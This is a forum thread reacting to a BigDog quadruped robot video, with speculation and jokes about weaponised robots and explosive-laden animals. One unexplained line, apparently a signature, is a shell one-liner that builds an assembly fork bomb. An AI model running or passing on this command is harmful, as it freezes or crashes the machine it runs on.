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New BigDog Robot Video
John860 writes "The US company Boston Dynamics has released an amazing new video of its quadruped robot BigDog. The highlight of the video (at 1:24) shows how the robot starts slipping on ice, almost falls several times, but finally regains its balance and continues walking. The video also shows the robot's ability to cope with different types of terrains, climb and descend steep slopes, and jump. Two years ago, the older version of BigDog was already able to climb slopes, keep its balance after a strong kick, and walk on rough terrain like stones, mud, and snow. The new version weighs 235 lbs and can carry a payload of up to 340 lbs, a factor of 4 better than its predecessor."
Did you ever see a BBC documentary on putting explosives inside animals? As you can probably expect, spooks experimented on it during the cold war. Partly it was because the Russians trained dogs to sleep under warm tanks, loaded them up with exposives and sent them toward the German lines in World War II. The US/UK were quite reasonably concerned that a "explosive dog gap" might open with the Communists, so they poured money into research.
My favourite part was where some scientist enthused that "you can fit quite an arsenal inside a 500lb boar". What an awesome job. I reckon animals are quite redundantly engineered, so you could take quite a lot of guts out of them and still have them able to stagger a few miles to enemy lines. Boars are unclean animals for Muslims, so presumably be drenched with bits of exploding boar milliseconds before you die would stop you getting into paradise if you believe in that sort of thing.
That would be culturally insensitive of course, so we shouldn't do that. But you could turn a herd of goats into a living cluster bomb. Can I has DARPA funding now?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If you "don't see any actual use in war, besides transporting things", you're really not trying.
Add a turret, a video camera, and a remote control -- presto, a soldier that can march 24/7 across the desert, across the ice, through tear gas clouds, through radioactive fallout, and arrive somewhere all fresh and ready to shoot people, or drop bombs.
They're not going to "make toy versions", at least not any time soon. Why try to make a $100-1000 toy, and compete on the free market, when you can keep everything secret and sell them to the military for orders of magnitude more?
I'm an American, and these things scare me. Robert E. Lee once said "It is well that war is so terrible, or we should get too fond of it". Our government is making it significantly less terrible (for its own soldiers) all the time, and they also seem to be growing rather fond of it. When you can run a robotic war (in the air and on the ground) by remote control, what's to stop you from attacking everybody you don't like?
I predict we'll have robot infantry on the ground inside of 5 years, and within 2 years of that, they'll be back here patrolling American soil. And no, it's not a partisan issue, either: even Obama, the democratic frontrunner, wants to *increase* military spending, even though America's military budget is already larger than the military budgets of every other country in the world, combined.
If a robot is cheaper than a dead/wounded soldier the robot might be a better option.
Also consider that robots need no training and (almost?) no supplies when they are in storage.
That is just so friggin cool. Seeing stuff like this makes me regret spending 20 years sitting in various cubicles twiddling database bits...
And this could be likely achieved with other conventional robotic conveyance mechanisms. If you just need to deliver a mobile land-mine, adaptation of simple RC cars could probably serve. As for dropping bombs and shooting people - there are plenty of airborne weapons that would be difficult to surpass in terms of "efficiency". Cheaper and simpler will win.
About the only military use I can see for this might be urban alley crawls, where terrain could be difficult, cramped, and dangerous, and possibly IED detection/detonation. I agree with parent about this being mostly a pack mule.